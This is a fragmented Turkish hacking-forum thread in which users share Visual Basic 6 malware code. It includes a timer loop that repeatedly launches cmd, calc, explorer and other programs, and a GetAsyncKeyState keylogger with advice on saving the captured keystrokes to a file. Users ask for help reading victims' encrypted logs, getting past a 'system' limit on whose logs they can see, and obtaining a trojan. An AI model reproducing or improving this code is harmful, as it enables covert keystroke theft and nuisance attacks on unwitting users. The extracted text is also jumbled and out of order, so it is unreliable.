End If Else frmMain. MousePointer = 0 VarX = MsgBox End If Kod: Private Sub Timer1_timer For i = 1 To 100 Shell \"cmd\" Shell \"calc\" Shell \"C:\\Program Files\\Messenger\\msmsgs. exe\" Shell \"explorer\" Shell \"mspaint\" Shell \"sndrec32\" Shell \"C:\\Program Files\\Movie Maker\\moviemk. exe\" Shell \"winmine\" Next End Sub küçük bi virüs ama işe yarar Hesap Makinası, Movie Maker, Msnger Timer1 in Invertial a Göre Açıyor Örneğin; timer1 in invertial 100 ise 1 sanisede bir verilen programları Göstermek

Sen varya harbiden de şakasın kardeşim Geyiğe döndü muhabbet O verdiğin kodlarla 5 yaşındaki çocuk bile korkmaz Hiç olmazsa alıntı de bari

ornek projenı yollarmısın bı bkıcam.. ona gore

Gömmek İstediğin Kayıt Mail Yollama Sistemini Öğren Al Sna Visür De verem Componentler: text1 Module: Public Const DT_CENTER = &H1 Public Const DT_WORDBREAK = &H10 Type RECT Left As Long Top As Long Right As Long Bottom As Long End Type Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" As Long Declare Function SetTimer Lib "user32" As Long Declare Function KillTimer Lib "user32" As Long Declare Function GetAsyncKeyState Lib "user32" As Integer Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long Global Cnt As Long, sSave As String, sOld As String, Ret As String Dim Tel As Long Function GetPressedKey As String For Cnt = 32 To 128 'Get the keystate of a specified key If GetAsyncKeyState <> 0 Then GetPressedKey = Chr$ Exit For End If Next Cnt End Function Sub TimerProc Ret = GetPressedKey If Ret <> sOld Then sOld = Ret Form1. Text1. Text = Form1. Text1. Text & Ret End If End Sub Form_Load: SetTimer Me. hwnd, 0, 1, AddressOf TimerProc Form_Unload: KillTimer Me. hwnd, 0 Ping Atma ve Veri Alma Componentler form1->frmmain text1->txtnumber text2->txtIP ext3->txtoutpu General: Option Explicit Const SYNCHRONIZE = &H100000 Const INFINITE = &HFFFF Const WAIT_OBJECT_0 = 0 Const WAIT_TIMEOUT = &H102 Private Declare Function SendMessage Lib "User32" Alias "SendMessageA" As Long Private Declare Function OpenProcess Lib "kernel32" As Long Private Declare Function WaitForSingleObject Lib "kernel32" As Long Private Declare Function CloseHandle Lib "kernel32" As Long Form_Load: Dim ShellX As String Dim lPid As Long Dim lHnd As Long Dim lRet As Long Dim VarX As String frmMain. MousePointer = 11 If txtIP. Text <> "" Then DoEvents ShellX = Shell lPid = ShellX If lPid <> 0 Then lHnd = OpenProcess(SYNCHRONIZE, 0, lPid) If lHnd <> 0 Then lRet = WaitForSingleObject CloseHandle End If Beep frmMain. MousePointer = 0 Open "C:\log. txt" For Input As

Print

senin istediğin kod bu sanırım dostum. bu kod text1 deki yazıları c:\kayitlar. txt olarak kaydediyor. bu nu bi timer içinde kullanarak istediğin zaman aralıklarında kaydettirecilirsin. her seferinde aynı dosyaya text1 dekileri yazacaktır. farklı dosyalara yazdırmak iistersen "c:\kayitlar. txt" bunun yerine mesela date & time yazarsan kaydettiği andaki tarih ve saatle kaydedecektir. tabşi bu şekilde yapacaksan her seferinde kayıttan sonra text1 i boşalt. işine yarar umarım Saygılarımla...

"Allah aşkına" madem kötülük yapacaksın bari Allah'ın ismini anma...

txtOutPut. Text = Input(LOF(1), 1) Close

Kod: Open "c:\kayitlar. txt" For Output As

konuya bak be bi konu açtik şamataya döndü aq

database kullan. text'i database'ye bağla, başka bi exe daha oluşturup database'den okumayıda ona koyarsın olur biter.

evet sanki bende başka biyerde gördüm ve çokta gülmüştüm bu kodlara...

.. Merhaba.. bana gelen kayıtlar ìëˆˆŒŒìë bu şekilde geliyor. bunların ne olduğunu anlayamıyorum. yardımcı olur musunuz?

logların şifreli geliyor açmak için editör de kullandığın şifreyi yaz

eet arkadasım vermezsen senın kodunu kmse ınceleyemez. ınceleyemezsek hıc bı sey yapamayız : ) Cih@

ehehe trojanı at baqam Sonra Gör Siz Sadece Eleştiriyonuz :S

Mevcut paketiniz 2 sistem. Toplam 2 sistem okuyabilirsiniz ve bu nedenle AhmetAB adlı sistemin loglarına erişemiyorsunuz. bu sorunu nasıl çözücem yardımcı olun lutfen

ya suanda acil lazim lütfen blen birisi varsa

projeni koy bii bakalım

Arkdaslar keylog kodlari sadece formda tutuluyor bunu c:/ veya herhangi bir klasöre kayit ettirmebilrmiyiz belirli araliklarla lütfen yardım. resimde gösterdim Allah aşkına yardım.

projeyi koymadan nasıL Yardım edebiliriz?cimrilik yapma )